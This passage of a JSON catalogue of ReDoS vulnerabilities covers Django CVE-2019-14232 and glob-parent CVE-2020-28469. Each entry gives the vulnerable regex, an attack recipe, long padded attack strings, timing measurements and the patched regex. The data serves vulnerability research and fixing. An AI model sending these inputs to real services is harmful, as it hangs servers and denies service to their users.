20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20","verification":{"engine":"node v22.23.1","benign_ms":0.09,"curve":[{"input_length":2500,"pumps":2500,"ms":7.55,"timed_out":false},{"input_length":5000,"pumps":5000,"ms":29.06,"timed_out":false},{"input_length":10000,"pumps":10000,"ms":116.94,"timed_out":false},{"input_length":20000,"pumps":20000,"ms":465.53,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"django-CVE-2019-14232","name":"Django (Truncator / truncatewords_html)","type":"cve","cve":"CVE-2019-14232","ghsa":"GHSA-c4qh-4vgv-qc6g","cwe":"CWE-400","ecosystem":"pypi","engine":"python","package":"Django","affected":"<1.11.23 || >=2.1 <2.1.11 || >=2.2 <2.2.4","patched":"2.2.4","published":"2019-08-01","discovered_by":"Guido Vranken","regex":"<.*?>|((?:\\w[-\\w]*|&.*?;)+)","flags":"s","complexity":"quadratic","attack":{"prefix":"","pad":"&","suffix":""},"benign":"The quick brown fox <b>jumps</b> over the lazy dog.","fix":{"type":"regex-rewrite","summary":"django.utils.text.Truncator used `re_words = <.*?>|((?:\\w[-\\w]*|&.*?;)+)` to walk HTML while truncating (used by the `truncatewords_html` / `truncatechars_html` template filters). The second branch of the capturing group, `&.*?;`, is a lazy HTML-entity matcher; on a long run of `&` characters with no terminating `;`, the outer `+` can partition that run in quadratically many ways while `.*?` repeatedly scans forward for a `;` that never arrives, so backtracking blows up. The fix replaces the ambiguous alternation with a single non-overlapping character class, `re_words = <[^>]+?>|([^<>\\s]+)`, which matches the same word/entity runs in one unambiguous pass.","patched_regex":"<[^>]+?>|([^<>\\s]+)","commit":"https://github.com/django/django/commit/7f65974f8219"},"description":"Django is the most widely used Python web framework. The `truncatewords_html` and `truncatechars_html` template filters (via `django.utils.text.Truncator`) run this regex over user-visible HTML to truncate it while preserving tags. If an attacker can get attacker-controlled text containing a long run of ampersands rendered through one of these filters, the regex exhibits catastrophic backtracking and hangs the worker, a denial of service. Fixed in Django 1.11.23, 2.1.11 and 2.2.4.","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-14232","https://github.com/advisories/GHSA-c4qh-4vgv-qc6g","https://www.djangoproject.com/weblog/2019/aug/01/security-releases/","https://github.com/django/django/commit/7f65974f8219"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%3C.*%3F%3E%7C((%3F%3A%5Cw%5B-%5Cw%5D*%7C%26.*%3F%3B)%2B)&in=%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26%26","verification":{"engine":"python 3.12.3","benign_ms":0.05,"curve":[{"input_length":2500,"pumps":2500,"ms":50.23,"timed_out":false},{"input_length":5000,"pumps":5000,"ms":202.14,"timed_out":false},{"input_length":10000,"pumps":10000,"ms":814.84,"timed_out":false},{"input_length":20000,"pumps":20000,"ms":null,"timed_out":true}],"empirical_class":"quadratic","class_agrees":true}},{"id":"glob-parent-CVE-2020-28469","name":"glob-parent","type":"cve","cve":"CVE-2020-28469","ghsa":"GHSA-ww39-953v-wcq6","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"glob-parent","affected":"<5.1.2","patched":"5.1.2","published":"2021-06-03","discovered_by":"Yeting Li","regex":"[\\{\\[].*[\\/]*.*[\\}\\]]$","flags":"","complexity":"quadratic","attack":{"prefix":"{","pad":"a","suffix":"!"},"benign":"{foo/bar}","fix":{"type":"regex-rewrite","summary":"The enclosure test regex contained two adjacent unbounded groups `.*[\\/]*.*` around an optional `[\\/]*` that can match empty, so a long run of non-bracket characters could be partitioned many ways before the trailing `[\\}\\]]$` fails. glob-parent 5.1.2 collapsed it to a single `.*` (`/[\\{\\[].*[\\}\\]]$/`), removing the ambiguity.","commit":"https://github.com/gulpjs/glob-parent/commit/c6db86422a9731d4f3d332ce4a81c27ea6b0ee46"},"description":"glob-parent extracts the non-magic parent path from a glob and is a transitive dependency of chokidar, fast-glob and much of the JS build/watch tool-chain (tens of millions of weekly downloads). Its enclosure detection regex backtracks quadratically on a string that opens a brace/bracket enclosure followed by a long run of characters with no closing 